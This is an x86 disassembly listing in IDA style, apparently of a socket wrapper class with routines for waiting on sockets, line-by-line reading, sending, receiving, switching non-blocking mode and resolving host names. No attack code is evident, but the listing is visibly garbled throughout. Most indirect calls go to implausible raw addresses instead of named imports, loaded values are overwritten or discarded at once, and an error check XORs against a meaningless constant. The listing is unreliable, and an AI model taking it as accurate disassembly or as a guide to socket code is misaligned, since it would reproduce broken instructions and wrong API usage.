; =============== S U B	R O U T	I N E =======================================



sub_418DA0	proc near		; CODE XREF: sub_401A8Cj

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401884
		test	al, al
		jnz	short loc_418DBE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418DBE:				; CODE XREF: sub_418DA0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_418DD5
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418DD5:				; CODE XREF: sub_418DA0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_418E51
		call	sub_401884
		test	al, al
		jz	short loc_418E44
		mov	edi, ds:dword_4B3C5C


loc_418DEE:				; CODE XREF: sub_418DA0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi
		test	eax, eax
		jz	short loc_418E3B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_430A68
		test	eax, eax
		jnz	short loc_418E51


loc_418E3B:				; CODE XREF: sub_418DA0+84j
		call	sub_401884
		test	al, al
		jnz	short loc_418DEE


loc_418E44:				; CODE XREF: sub_418DA0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418E51:				; CODE XREF: sub_418DA0+3Dj
					; sub_418DA0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_418E74
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_418E86
; ---------------------------------------------------------------------------


loc_418E74:				; CODE XREF: sub_418DA0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_418E86:				; CODE XREF: sub_418DA0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	dword ptr ds:73060Ch
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_418EA9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418EA9:				; CODE XREF: sub_418DA0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_401F69
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_418DA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F30	proc near		; CODE XREF: sub_401889j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401A46
		retn	0Ch
sub_418F30	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F60	proc near		; CODE XREF: sub_401A46j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_4190C4
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_4190C4
		mov	edi, ds:dword_4B38D0
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41905C
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41905C
		call	sub_401884
		test	al, al
		jz	loc_41905C


loc_418FBB:				; CODE XREF: sub_418F60+F6j
		mov	eax, [esi+806h]
		mov	eax, 879830h
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_4190C4
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		call	ds:dword_4BCC18
		test	eax, eax
		jz	short loc_41904F
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_430A68
		test	eax, eax
		jnz	loc_4190C4
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_430A68
		test	eax, eax
		jnz	short loc_41905C


loc_41904F:				; CODE XREF: sub_418F60+BCj
		call	sub_401884
		test	al, al
		jnz	loc_418FBB


loc_41905C:				; CODE XREF: sub_418F60+39j
					; sub_418F60+48j ...
		call	sub_401884
		test	al, al
		jz	short loc_4190C4
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		call	dword ptr ds:25E60Ch
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_419091
		mov	[ecx], eax


loc_419091:				; CODE XREF: sub_418F60+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4190A9
		test	eax, eax
		jz	short loc_4190A9
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_4190A9:				; CODE XREF: sub_418F60+134j
					; sub_418F60+138j
		call	dword ptr ds:52F306h
		pop	edi
		xor	eax, 34BCC1h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_4190C4:				; CODE XREF: sub_418F60+13j
					; sub_418F60+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_418F60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419140:				; CODE XREF: _294ADE7B:0040159Bj
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419191
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_419191
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	dword ptr ds:5A5E60h
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_419172
		mov	[ecx], eax


loc_419172:				; CODE XREF: _294ADE7B:0041916Ej
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419180
		test	eax, eax
		jz	short loc_419180
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_419180:				; CODE XREF: _294ADE7B:00419175j
					; _294ADE7B:00419179j
		call	dword ptr ds:2D2F30h
		add	eax, 2B4BCCh
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_419191:				; CODE XREF: _294ADE7B:00419149j
					; _294ADE7B:00419153j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4191C0:				; CODE XREF: _294ADE7B:004018D9j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_401884
		test	al, al
		jnz	short loc_4191DC
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_4191DC:				; CODE XREF: _294ADE7B:004191D2j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_4191F2


loc_4191E8:				; CODE XREF: _294ADE7B:0041922Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_4191F2:				; CODE XREF: _294ADE7B:004191E6j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_419256
		mov	edi, ebp


loc_41920B:				; CODE XREF: _294ADE7B:00419254j
		cmp	edi, ebx
		jz	short loc_419256
		cmp	[esp+18h], bl
		jz	short loc_419256
		call	sub_401884
		test	al, al
		jz	short loc_419256
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401889
		test	al, al
		jz	short loc_4191E8
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_419241
		cmp	al, 0Dh
		jz	short loc_419241
		cmp	al, bl
		jnz	short loc_419249


loc_419241:				; CODE XREF: _294ADE7B:00419237j
					; _294ADE7B:0041923Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_419249:				; CODE XREF: _294ADE7B:0041923Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41920B


loc_419256:				; CODE XREF: _294ADE7B:00419207j
					; _294ADE7B:0041920Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4192A0:				; CODE XREF: _294ADE7B:00401FF5j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_401884
		test	al, al
		jnz	short loc_4192BC
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_4192BC:				; CODE XREF: _294ADE7B:004192B2j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_4192D2


loc_4192C8:				; CODE XREF: _294ADE7B:0041930Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_4192D2:				; CODE XREF: _294ADE7B:004192C6j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41933D
		mov	edi, ebp


loc_4192EB:				; CODE XREF: _294ADE7B:0041933Bj
		cmp	edi, ebx
		jz	short loc_41933D
		cmp	[esp+18h], bl
		jz	short loc_41933D
		call	sub_401884
		test	al, al
		jz	short loc_41933D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401889
		test	al, al
		jz	short loc_4192C8
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41931D
		cmp	al, bl
		jnz	short loc_419330


loc_41931D:				; CODE XREF: _294ADE7B:00419317j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41932A
		mov	[esi+ebp-1], bl
		jmp	short loc_41932C
; ---------------------------------------------------------------------------


loc_41932A:				; CODE XREF: _294ADE7B:00419322j
		mov	[edi], bl


loc_41932C:				; CODE XREF: _294ADE7B:00419328j
		mov	[esp+18h], bl


loc_419330:				; CODE XREF: _294ADE7B:0041931Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_4192EB


loc_41933D:				; CODE XREF: _294ADE7B:004192E7j
					; _294ADE7B:004192EDj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419380:				; CODE XREF: _294ADE7B:0040107Dj
		push	esi
		mov	esi, ecx
		call	sub_401884
		test	al, al
		jnz	short loc_419392
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_419392:				; CODE XREF: _294ADE7B:0041938Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4193A3
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4193A3:				; CODE XREF: _294ADE7B:0041939Bj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		call	dword ptr ds:55A5E6h
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4193D0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_401884
		test	al, al
		jnz	short loc_4193E2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4193E2:				; CODE XREF: sub_4193D0+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4193F3
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_4193F3:				; CODE XREF: sub_4193D0+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		call	dword ptr ds:2AD2F3h
		pop	esi
		retn	8
sub_4193D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419420:				; CODE XREF: _294ADE7B:00401B22j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41945F
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419455
		cmp	[esi+80Bh], cl
		jz	short loc_419455
		mov	esi, 0CAAD2Fh
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_419455:				; CODE XREF: _294ADE7B:0041943Ej
					; _294ADE7B:00419446j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41945F:				; CODE XREF: _294ADE7B:00419439j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	dword ptr ds:655697h
		test	eax, eax
		jnz	short loc_419495
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_419495:				; CODE XREF: _294ADE7B:00419489j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_430A68
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4194F0:				; CODE XREF: _294ADE7B:00401654j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41950D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41950D:				; CODE XREF: _294ADE7B:00419501j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	dword ptr ds:32AB4Bh
		test	eax, eax
		jnz	short loc_419549
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_419549:				; CODE XREF: _294ADE7B:0041953Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_430A68
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419590:				; CODE XREF: _294ADE7B:0040169Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	1955A5h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	dword ptr ds:4CAAD2h
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419600	proc near		; CODE XREF: sub_4017EEj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_419630
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		call	dword ptr ds:665569h
		retn	4
; ---------------------------------------------------------------------------


loc_419630:				; CODE XREF: sub_419600+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		call	dword ptr ds:732AB4h
		retn	4
sub_419600	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419680	proc near		; CODE XREF: sub_401163j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401B1D
		mov	dword ptr [esi], offset	off_4370A0
		mov	eax, esi
		pop	esi
		retn
sub_419680	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4196B0	proc near		; CODE XREF: _294ADE7B:0040183Ej
					; sub_401D39j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4017B2
		test	[esp+4+arg_0], 1
		jz	short loc_4196C8
		push	esi
		call	sub_430332
		add	esp, 4


loc_4196C8:				; CODE XREF: sub_4196B0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4196B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4196E0	proc near		; CODE XREF: sub_4017B2j
		mov	dword ptr [ecx], offset	off_4370A0
		add	ecx, 4
		jmp	sub_401E6F
sub_4196E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419700	proc near		; CODE XREF: sub_4015B4j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_401884
		test	al, al
		jnz	short loc_419712
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_419712:				; CODE XREF: sub_419700+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	dword ptr ds:79955Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419765
		push	esi
		call	dword ptr ds:7CCAADh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_419737
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_419737:				; CODE XREF: sub_419700+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41974C


loc_419741:				; CODE XREF: sub_419700+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_419741


loc_41974C:				; CODE XREF: sub_419700+3Fj
		call	sub_401DB1
		dec	esi
		push	esi
		push	0
		call	sub_402018
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_419765:				; CODE XREF: sub_419700+20j
		pop	edi
		pop	esi
		retn	4
sub_419700	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419790:				; CODE XREF: _294ADE7B:00401F1Ej
		push	0FFFFFFFFh
		push	7E6556h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_401884
		test	al, al
		jnz	short loc_4197CF
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_4017A8
		jmp	loc_41997B
; ---------------------------------------------------------------------------


loc_4197CF:				; CODE XREF: _294ADE7B:004197B8j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_4017A8
		mov	edx, 0CFF995h
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_401726
		test	eax, eax
		push	67FCCAh
		jnz	short loc_41980C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_4017A8
		mov	[esp+0Ch], edi
		jmp	loc_41996E
; ---------------------------------------------------------------------------


loc_41980C:				; CODE XREF: _294ADE7B:004197F6j
		lea	ecx, [esp+30h]
		call	sub_4012B7
		test	eax, eax
		push	73FE65h
		jnz	short loc_419832
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_4017A8
		mov	[esp+0Ch], edi
		jmp	loc_41996E
; ---------------------------------------------------------------------------


loc_419832:				; CODE XREF: _294ADE7B:0041981Cj
		lea	ecx, [esp+18h]
		call	sub_4017A8
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_401726
		push	eax
		call	sub_430ADA
		cmp	eax, ebx
		jz	short loc_419876
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_40146F
		mov	[esp+0Ch], edi
		jmp	loc_419960
; ---------------------------------------------------------------------------


loc_419876:				; CODE XREF: _294ADE7B:0041985Bj
		mov	edi, [esp+10h]
		mov	esi, 279FF3h
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_419884:				; CODE XREF: _294ADE7B:004198A2j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4198A8
		cmp	cl, bl
		jz	short loc_4198A4
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4198A8
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_419884


loc_4198A4:				; CODE XREF: _294ADE7B:0041988Ej
		xor	eax, eax
		jmp	short loc_4198AD
; ---------------------------------------------------------------------------


loc_4198A8:				; CODE XREF: _294ADE7B:0041988Aj
					; _294ADE7B:00419898j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4198AD:				; CODE XREF: _294ADE7B:004198A6j
		cmp	eax, ebx
		jz	short loc_41991B
		push	ebp


loc_4198B2:				; CODE XREF: _294ADE7B:00419905j
					; _294ADE7B:00419909j
		call	dword ptr ds:13CFF9h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_4198C6
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41990B


loc_4198C6:				; CODE XREF: _294ADE7B:004198BDj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_4198D2
		mov	edi, ebp


loc_4198D2:				; CODE XREF: _294ADE7B:004198CEj
		mov	eax, [edi+4]
		mov	edi, 0A04F3Fh


loc_4198DA:				; CODE XREF: _294ADE7B:004198F8j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4198FE
		cmp	cl, bl
		jz	short loc_4198FA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4198FE
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_4198DA


loc_4198FA:				; CODE XREF: _294ADE7B:004198E4j
		xor	eax, eax
		jmp	short loc_419903
; ---------------------------------------------------------------------------


loc_4198FE:				; CODE XREF: _294ADE7B:004198E0j
					; _294ADE7B:004198EEj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_419903:				; CODE XREF: _294ADE7B:004198FCj
		cmp	eax, ebx
		jnz	short loc_4198B2
		mov	edi, ebp
		jmp	short loc_4198B2
; ---------------------------------------------------------------------------


loc_41990B:				; CODE XREF: _294ADE7B:004198C4j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_401564
		pop	ebp
		jmp	short loc_419928
; ---------------------------------------------------------------------------


loc_41991B:				; CODE XREF: _294ADE7B:004198AFj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_401564


loc_419928:				; CODE XREF: _294ADE7B:00419919j
		push	58279Fh
		lea	ecx, [esp+18h]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_419948
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_401564


loc_419948:				; CODE XREF: _294ADE7B:00419938j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_40146F
		mov	dword ptr [esp+0Ch], 1


loc_419960:				; CODE XREF: _294ADE7B:00419871j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_4011F9


loc_41996E:				; CODE XREF: _294ADE7B:00419807j
					; _294ADE7B:0041982Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_4011F9


loc_41997B:				; CODE XREF: _294ADE7B:004197CAj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419A30:				; CODE XREF: _294ADE7B:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401D2F
		push	0
		lea	ecx, [esi+15h]
		call	sub_401B1D
		mov	dword ptr [esi], offset	off_4370A4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419A70	proc near		; CODE XREF: sub_4013A7j
					; _294ADE7B:00401EB5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401AD2
		test	[esp+4+arg_0], 1
		jz	short loc_419A88
		push	esi
		call	sub_430332
		add	esp, 4


loc_419A88:				; CODE XREF: sub_419A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_419A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419AA0	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	6C13CFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401E6F
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401EC9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_419AA0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419B10:				; CODE XREF: _294ADE7B:00401C17j
		push	esi
		mov	esi, ecx
		call	sub_401D2F
		push	0
		lea	ecx, [esi+15h]
		call	sub_401B1D
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_4370A4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
